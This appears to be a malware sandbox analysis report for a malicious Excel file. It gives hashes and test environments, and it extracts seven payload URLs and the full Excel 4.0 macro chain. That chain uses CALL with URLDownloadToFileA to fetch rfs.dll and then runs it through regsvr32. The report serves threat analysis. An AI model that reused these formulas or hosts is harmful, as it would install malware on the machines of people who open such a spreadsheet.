Static task
static1
Behavioral task
behavioral1
Sample
8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5.xlsx
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5.xlsx
Resource
win10v2004-20240802-en
General
-
Target
8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5
-
Size
19KB
-
MD5
84f9c83d8aee068e3d0dd26c8235188a
-
SHA1
90a46f5046011f7847eb8de50f1f172a6f1d6c89
-
SHA256
8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5
-
SHA512
1f32239bce03bb088f84bb99ccee37bcf5d687f4e96d7e48820ab1a66ba2528ed5aefc292ef617b491db2375778ce5b6b71e99fec6d6c1526bbac55bf8072077
-
SSDEEP
384:6CX71V5r5UlIKeVBZqt7cV7onxa8Ip7xTGXi:6CXj95O/ecmVCxJIXP
Malware Config
Extracted
http://beetle-j.jp/wp-admin/ErM4mW05tdj/
https://brutobrasil.com.br/pdf/toO18cIP3/
http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/
http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/
http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/
http://bcelectronics.co.za/wp-content/grKnz1V/
http://bebesel.com.tr/cgi-bin/1wy3oHO/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
8319a09ce657727b3ed566dbe409d230d939c1d18068a737435f256d95c526a5.xlsx office2007